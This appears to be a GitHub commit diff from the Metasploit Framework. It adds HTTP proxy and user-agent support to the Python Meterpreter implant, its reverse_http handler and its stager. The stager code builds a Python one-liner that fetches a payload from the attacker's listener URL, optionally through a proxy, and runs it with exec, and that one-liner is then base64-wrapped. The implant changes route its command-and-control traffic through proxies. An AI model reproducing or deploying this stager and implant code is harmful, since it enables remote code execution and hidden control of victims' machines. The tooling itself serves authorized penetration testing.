Skip to content

Commit 0bf93ac

Browse files
committed
Pymeterp http proxy and user agent support
1 parent e562883 commit 0bf93ac

File tree

4 files changed

+33
-5
lines changed

4 files changed

+33
-5
lines changed

data/meterpreter/meterpreter.py

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
has_windll = hasattr(ctypes, 'windll')
2020

2121
try:
22-
urllib_imports = ['build_opener', 'install_opener', 'urlopen']
22+
urllib_imports = ['ProxyHandler', 'build_opener', 'install_opener', 'urlopen']
2323
if sys.version_info[0] < 3:
2424
urllib = __import__('urllib2', fromlist=urllib_imports)
2525
else:
@@ -49,6 +49,7 @@
4949
HTTP_COMMUNICATION_TIMEOUT = 300
5050
HTTP_CONNECTION_URL = None
5151
HTTP_EXPIRATION_TIMEOUT = 604800
52+
HTTP_PROXY = None
5253
HTTP_USER_AGENT = None
5354

5455
PACKET_TYPE_REQUEST = 0
@@ -326,7 +327,11 @@ def __init__(self, socket=None):
326327
self.running = True
327328

328329
def driver_init_http(self):
329-
opener = urllib.build_opener()
330+
if HTTP_PROXY:
331+
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
332+
opener = urllib.build_opener(proxy_handler)
333+
else:
334+
opener = urllib.build_opener()
330335
if HTTP_USER_AGENT:
331336
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
332337
urllib.install_opener(opener)

lib/msf/core/handler/reverse_http.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -211,6 +211,11 @@ def on_request(cli, req, obj)
211211
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
212212
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
213213

214+
unless datastore['PROXYHOST'].blank?
215+
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
216+
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
217+
end
218+
214219
resp.body = blob
215220

216221
# Short-circuit the payload's handle_connection processing for create_session

lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
4646
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
4747
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
48-
], Msf::Handler::ReverseHttpsProxy)
48+
], Msf::Handler::ReverseHttpsProxy)
4949

5050
register_advanced_options(
5151
[

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,14 @@ def initialize(info = {})
1919
'Platform' => 'python',
2020
'Arch' => ARCH_PYTHON,
2121
'Handler' => Msf::Handler::ReverseHttp,
22-
'Convention' => 'http',
2322
'Stager' => {'Payload' => ""}
2423
))
24+
25+
register_options(
26+
[
27+
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
28+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
29+
], Msf::Handler::ReverseHttp)
2530
end
2631

2732
#
@@ -30,6 +35,10 @@ def initialize(info = {})
3035
def generate
3136
lhost = datastore['LHOST'] || Rex::Socket.source_address
3237

38+
var_escape = lambda { |txt|
39+
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
40+
}
41+
3342
target_url = 'http://'
3443
target_url << lhost
3544
target_url << ':'
@@ -38,7 +47,16 @@ def generate
3847
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
3948

4049
cmd = "import sys\n"
41-
cmd << "exec(__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=['urlopen']).urlopen('#{target_url}').read())\n"
50+
if datastore['PROXYHOST'].blank?
51+
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener'])\n"
52+
cmd << "opener=ul.build_opener()\n"
53+
else
54+
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
55+
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
56+
cmd << "opener=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
57+
end
58+
cmd << "opener.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
59+
cmd << "exec(opener.open('#{target_url}').read())\n"
4260

4361
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
4462
b64_stub = "import base64,sys;exec(base64.b64decode("

0 commit comments

Comments
 (0)